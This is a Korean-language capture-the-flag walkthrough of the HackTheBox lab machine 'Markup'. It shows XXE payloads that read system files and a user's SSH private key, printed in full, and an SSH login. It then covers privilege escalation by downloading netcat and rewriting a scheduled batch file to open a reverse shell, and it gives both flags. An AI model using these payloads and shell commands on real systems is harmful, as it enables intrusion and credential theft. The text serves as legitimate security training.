HackTheBox Labs Writeup - Markup

HackTheBox Labs Writeup - Markup

이 글에서는 HackTheBox 의 Startingpoint 머신 중 하나인 Markup 머신에 대한 풀이 방법에 대해 설명한다.

Task 1

Question : What version of Apache is running on the target's port 80?

80번 포트에서 서비스 중인 Apache의 버전을 묻고 있다. nmap 으로 버전을 확인해보자.

$ sudo nmap -p- -sV -sC -Pn 10.129.95.192
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-11 08:34 EDT
Nmap scan report for 10.129.95.192
Host is up (0.22s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9fa0f78cc6e2a4bd718768823e5db79f (RSA)
|   256 907d96a96e9e4d4094e7bb55ebb30b97 (ECDSA)
|_  256 f910eb76d46d4f3e17f393d60b8c4b81 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: MegaShopping
443/tcp open  ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
| tls-alpn: 
|_  http/1.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: MegaShopping
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47

80번 포트에서 서비스 중인 Apache 버전은 2.4.41 이다.

Answer : 2.4.41

Task 2

Question : What username:password combination logs in successfully?

웹사이트에 접속할 수 있는 아이디 패스워드를 묻고 있다. 주어진 IP 로 접속할 결과 아래와 같은 웹사이트에 접속할 수 있었다.

웹사이트에 대한 특별한 정보가 없어 기본적으로 사용되는 아이디, 패스워드를 사용하여 접속 시도한 결과 admin, password 로 접속할 수 있었다.

Answer : admin:password

Task 3

Question : What is the word at the top of the page that accepts user input?

웹사이트에 로그인하면 Home, About, 등 몇 개의 탑 페이지가 존재한다. 그 중 Order 페이지에 사용자가 입력할 수 있는 form 이 존재한다.

사용자 입력 후 Submit 버튼을 클릭하면 getXml() 이라는 함수가 실행되는 것을 알 수 있다.

getXml() 함수는 다음과 같다. 핵심적인 부분은 Address 란에 적힌 데이터를 xml 포맷으로 생성하여 process.php 에 전달한다.

<script>
	function getXml() {
		var elements = document.forms.myForm.elements;
		var xmlTemplate = '<?xml version = "1.0"?><order>';
		for (var i = 0; i < elements.length; i++) {
			var element = elements[i];
			if (element.tagName == "INPUT") {
				xmlTemplate = xmlTemplate + '<' + element.name + '>' + element.value + '</' + element.name + '>';
			}


		}
		var e = document.getElementById("items");
		var item = e.options[e.selectedIndex].value;
		xmlTemplate = xmlTemplate + '<item>' + item + '</item>' + '<address>' + document.getElementById("address").value + '</address></order>';
		var http = new XMLHttpRequest();
		var url = 'process.php';
		http.open('POST', url, true);
		http.setRequestHeader('Content-Type', 'text/xml');
		http.onreadystatechange = function () {
			if (http.readyState == 4 && http.status == 200) {
				alert(http.responseText);
			}
		}
		http.send(xmlTemplate);
	}
</script>
Answer : order

Task 4

Question : What XML version is used on the target?

Burpsuite 를 이용하여 앞서 본 Submit 버튼을 클릭할 시 발생하는 패킷을 보면 아래와 같다. 내용을 보면 xml version = "1.0" 인 것으로 보아 1.0 버전으로 판단된다.

Answer : 1.0

Task 5

Question : What does the XXE / XEE attack acronym stand for?

구글링해보면 XXE 는 XML external entity 의 약자인 것을 확인할 수 있다. XXE 공격은 XML을 파싱하는 서비스에 악의적으로 조작된 XML 데이터를 전달하여 악성 행위를 실행하는 공격이다.

앞서 보았던 address 란에 악성 XML 을 전달하여 악성 행위를 실행할 수 있는지 테스트해보자.

구글링을 하면 XXE Payload 를 많이 찾을 수 있다. payload 를 시험하기에 앞서 해당 서버의 OS 종류를 알아야 한다. Wappalyzer 를 이용해 확인해보니 Windows Server 이다.

Burpsuite 로 다음과 같은 XML 구문을 보내면 c:/windows/win.ini 파일의 내용을 읽을 수 있는 것으로 보아 XXE 공격이 통하는 것을 알 수 있다.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY item SYSTEM 'file:///c:/windows/win.ini'>]>
<order>
<quantity>
3
</quantity>
<item>
&item;
</item>
<address>
111
</address>
</order>
Answer : XML external entity

Task 6

Question : What username can we find on the webpage's HTML code?

Order 페이지(http://10.129.95.192/services.php) 의 html 코드를 보면 다음과 같이 daniel 이라는 사람에 의해 수정되었다는 주석이 달려 있는 것을 확인할 수 있다.

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>Goods & Services</title>
	<!-- Modified by Daniel : UI-Fix-9092-->
	<style>
	... 후략 ...

Answer : daniel

앞서 알아낸 정보들을 정리하면 다음과 같다.

  • nmap 결과 22번 포트에서 ssh 서비스 중.
  • XXE 취약점을 가지는 서비스 존재.
  • daniel 이라는 사용자가 있을 가능성이 높음.

위 정보를 이용하면 XXE 취약점을 이용하여 daniel 사용자의 ssh key 를 알아내 ssh 접속이 가능할 것이다.

Burpsuite 를 이용해 다음과 같은 XML 구문을 전달하면 daniel 의 ssh key(c:/users/daniel/.ssh/id_rsa) 파일 정보를 읽을 수 있다.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY item SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
<order>
<quantity>
3
</quantity>
<item>
&item;
</item>
<address>
111
</address>
</order>

ssh key 파일 내용은 다음과 같다.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEArJgaPRF5S49ZB+Ql8cOhnURSOZ4nVYRSnPXo6FIe9JnhVRrdEiMi
QZoKVCX6hIWp7I0BzN3o094nWInXYqh2oz5ijBqrn+NVlDYgGOtzQWLhW7MKsAvMpqM0fg
HYC5nup5qM8LYDyhLQ56j8jq5mhvEspgcDdGRy31pljOQSYDeAKVfiTOOMznyOdY/Klt6+
ca+7/6ze8LTD3KYcUAqAxDINaZnNrG66yJU1RygXBwKRMEKZrEviLB7dzLElu3kGtiBa0g
DUqF/SVkE/tKGDH+XrKl6ltAUKfald/nqJrZbjDieplguocXwbFugIkyCc+eqSyaShMVk3
PKmZCo3ddxfmaXsPTOUpohi4tidnGO00H0f7Vt4v843xTWC8wsk2ddVZZV41+ES99JMlFx
LoVSXtizaXYX6l8P+FuE4ynam2cRCqWuislM0XVLEA+mGznsXeP1lNL+0eaT3Yt/TpfkPH
3cUU0VezCezxqDV6rs/o333JDf0klkIRmsQTVMCVAAAFiGFRDhJhUQ4SAAAAB3NzaC1yc2
EAAAGBAKyYGj0ReUuPWQfkJfHDoZ1EUjmeJ1WEUpz16OhSHvSZ4VUa3RIjIkGaClQl+oSF
qeyNAczd6NPeJ1iJ12KodqM+Yowaq5/jVZQ2IBjrc0Fi4VuzCrALzKajNH4B2AuZ7qeajP
C2A8oS0Oeo/I6uZobxLKYHA3Rkct9aZYzkEmA3gClX4kzjjM58jnWPypbevnGvu/+s3vC0
w9ymHFAKgMQyDWmZzaxuusiVNUcoFwcCkTBCmaxL4iwe3cyxJbt5BrYgWtIA1Khf0lZBP7
Shgx/l6ypepbQFCn2pXf56ia2W4w4nqZYLqHF8GxboCJMgnPnqksmkoTFZNzypmQqN3XcX
5ml7D0zlKaIYuLYnZxjtNB9H+1beL/ON8U1gvMLJNnXVWWVeNfhEvfSTJRcS6FUl7Ys2l2
F+pfD/hbhOMp2ptnEQqlrorJTNF1SxAPphs57F3j9ZTS/tHmk92Lf06X5Dx93FFNFXswns
8ag1eq7P6N99yQ39JJZCEZrEE1TAlQAAAAMBAAEAAAGAJvPhIB08eeAtYMmOAsV7SSotQJ
HAIN3PY1tgqGY4VE4SfAmnETvatGGWqS01IAmmsxuT52/B52dBDAt4D+0jcW5YAXTXfStq
mhupHNau2Xf+kpqS8+6FzqoQ48t4vg2Mvkj0PDNoIYgjm9UYwv77ZsMxp3r3vaIaBuy49J
ZYy1xbUXljOqU0lzmnUUMVnv1AkBnwXSDf5AV4GulmhG4KZ71AJ7AtqhgHkdOTBa83mz5q
FDFDy44IyppgxpzIfkou6aIZA/rC7OeJ1Z9ElufWLvevywJeGkpOBkq+DFigFwd2GfF7kD
1NCEgH/KFW4lVtOGTaY0V2otR3evYZnP+UqRxPE62n2e9UqjEOTvKiVIXSqwSExMBHeCKF
+A5JZn45+sb1AUmvdJ7ZhGHhHSjDG0iZuoU66rZ9OcdOmzQxB67Em6xsl+aJp3v8HIvpEC
sfm80NKUo8dODlkkOslY4GFyxlL5CVtE89+wJUDGI0wRjB1c64R8eu3g3Zqqf7ocYVAAAA
wHnnDAKd85CgPWAUEVXyUGDE6mTyexJubnoQhqIzgTwylLZW8mo1p3XZVna6ehic01dK/o
1xTBIUB6VT00BphkmFZCfJptsHgz5AQXkZMybwFATtFSyLTVG2ZGMWvlI3jKwe9IAWTUTS
IpXkVf2ozXdLxjJEsdTno8hz/YuocEYU2nAgzhtQ+KT95EYVcRk8h7N1keIwwC6tUVlpt+
yrHXm3JYU25HdSv0TdupvhgzBxYOcpjqY2GA3i27KnpkIeRQAAAMEA2nxxhoLzyrQQBtES
h8I1FLfs0DPlznCDfLrxTkmwXbZmHs5L8pP44Ln8v0AfPEcaqhXBt9/9QU/hs4kHh5tLzR
Fl4Baus1XHI3RmLjhUCOPXabJv5gXmAPmsEQ0kBLshuIS59X67XSBgUvfF5KVpBk7BCbzL
mQcmPrnq/LNXVk8aMUaq2RhaCUWVRlAoxespK4pZ4ffMDmUe2RKIVmNJV++vlhC96yTuUQ
S/58hZP3xlNRwlfKOw1LPzjxqhY+vzAAAAwQDKOnpm/2lpwJ6VjOderUQy67ECQf339Dvy
U9wdThMBRcVpwdgl6z7UXI00cja1/EDon52/4yxImUuThOjCL9yloTamWkuGqCRQ4oSeqP
kUtQAh7YqWil1/jTCT0CujQGvZhxyRfXgbwE6NWZOEkqKh5+SbYuPk08kB9xboWWCEOqNE
vRCD2pONhqZOjinGfGUMml1UaJZzxZs6F9hmOz+WAek89dPdD4rBCU2fS3J7bs9Xx2PdyA
m3MVFR4sN7a1cAAAANZGFuaWVsQEVudGl0eQECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

해당 데이터를 복사하여 local 시스템에 파일로 생성하자. 참고로 권한은 사용자만 읽을 수 있게 해야 사용이 가능하다.

$ touch id_rsa
// 앞서 구한 Openssh Private key 복사.
$ chmod 400 id_rsa

id_rsa 파일을 이용해 daniel 로 접속 할 수 있다.

$ ssh -i '/home/kali/Desktop/#htb/markup/id_rsa' daniel@10.129.95.192

Task 7

Question : What is the file located in the Log-Management folder on the target?

daniel 로 접속해 C:\Log-Management 폴더로 가보면 job.bat 이란 파일을 볼 수 있다.

daniel@MARKUP C:\Log-Management>dir 
 Volume in drive C has no label.                   
 Volume Serial Number is BA76-B4E3                 
                                                   
 Directory of C:\Log-Management                    
                                                   
03/12/2020  03:56 AM    <DIR>          .           
03/12/2020  03:56 AM    <DIR>          ..          
03/06/2020  02:42 AM               346 job.bat     
               1 File(s)            346 bytes      
               2 Dir(s)   7,374,663,680 bytes free 

Answer : job.bat

Task 8

Question : What executable is mentioned in the file mentioned before?

job.bat 파일 내용은 다음과 같다. bat 스크립트를 자세히 살펴보면 wevtutil.exe 파일이 사용되고 있음을 알 수 있다.

daniel@MARKUP C:\Log-Management>type job.bat 
@echo off                                                              
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V           
IF (%adminTest%)==(Access) goto noAdmin                                
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G") 
echo.                                                                  
echo Event Logs have been cleared!                                     
goto theEnd                                                            
:do_clear                                                              
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit
Answer : wevtutil.exe

User Flag

Question : Submit user flag

user flag 는 C:\Users\daniel\Desktop\user.txt 파일에 존재한다. XXE 취약점을 이용해 daniel 의 openssh 키 값을 알아내어 ssh 접속에 성공하면 해당 파일 값을 읽을 수 있다.

PS C:\Users\daniel\Desktop> type C:\Users\daniel\Desktop\user.txt
032d2fc8952a8c24e39c8f0ee9918ef7 
Answer : 032d2fc8952a8c24e39c8f0ee9918ef7

Root Flag

Question : Submit root flag

root 권한을 얻기 위해서는 C:\Log-Management 폴더에서 발견한 job.bat 파일을 이용해야 한다. job.bat 파일 스크립트를 대략적으로 해석하면 wevtutil.exe 을 이용하여 로그 파일을 정리하는 스크립트이다. 해당 파일은 관리자 권한이 없으면 실행이 불가능하므로, 아마 실행된다면 관리자 권한으로 실행되고 있을 것이다.

icacls job.bat 명령어로 job.bat 의 권한을 확인하면 daniel 이 속한 BUILTIN\Users 그룹에 F(Full) 권한이 있는 것을 확인할 수 있다. 해당 스크립트 내용을 수정하여 리버스 셸을 실행하도록 만든다면 관리자 권한을 획득할 수 있을 것이다.

daniel@MARKUP C:\Log-Management>icacls job.bat
job.bat BUILTIN\Users:(F)
        NT AUTHORITY\SYSTEM:(I)(F)
        BUILTIN\Administrators:(I)(F)
        BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

local 시스템에서 다음 명령어를 실행하여 windows64 용 netcat 을 다운로드하고 공격 대상 시스템에서 다운로드할 수 있도록 python http.server 모듈로 파일 서버를 생성한다.

$ git clone https://github.com/int0x33/nc.exe/
$ cd ./nc.exe
$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.129.95.192 - - [11/Aug/2024 10:17:00] "GET /nc64.exe HTTP/1.1" 200 

공격 대상 시스템에서 curl 명령어로 local 시스템의 nc64.exe 를 다운로드한다.

daniel@MARKUP C:\Log-Management>curl -o nc64.exe http://10.10.16.12:8888/nc64.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 45272  100 45272    0     0  45272      0  0:00:01  0:00:01 --:--:-- 35759

job.bat 을 수정하기에 앞서, local 시스템에서 netcat 을 리스닝 모드로 실행하여 리버스셸을 받을 준비를 한다.

$ nc -lnvp 9999

아래 명령어를 실행하여 업로드한 nc64.exe 파일을 실행하여 리버스셸을 수립하도록 job.bat 파일 내용을 수정한다.

echo C:\Users\daniel\Desktop\nc64.exe -e cmd.exe {local pc ip} {port} > "C:\Log-Management\job.bat"

공격 대상 시스템은 주기적으로 job.bat 을 실행하므로, 잠시 후 리버스 셸이 성립되는 것을 확인할 수 있다. root flag 는 C:\Users\Administrator\Desktop\root.txt 에 존재한다.

> type C:\Users\Administrator\Desktop\root.txt
f574a3e7650cebd8c39784299cb570f8
Answer : f574a3e7650cebd8c39784299cb570f8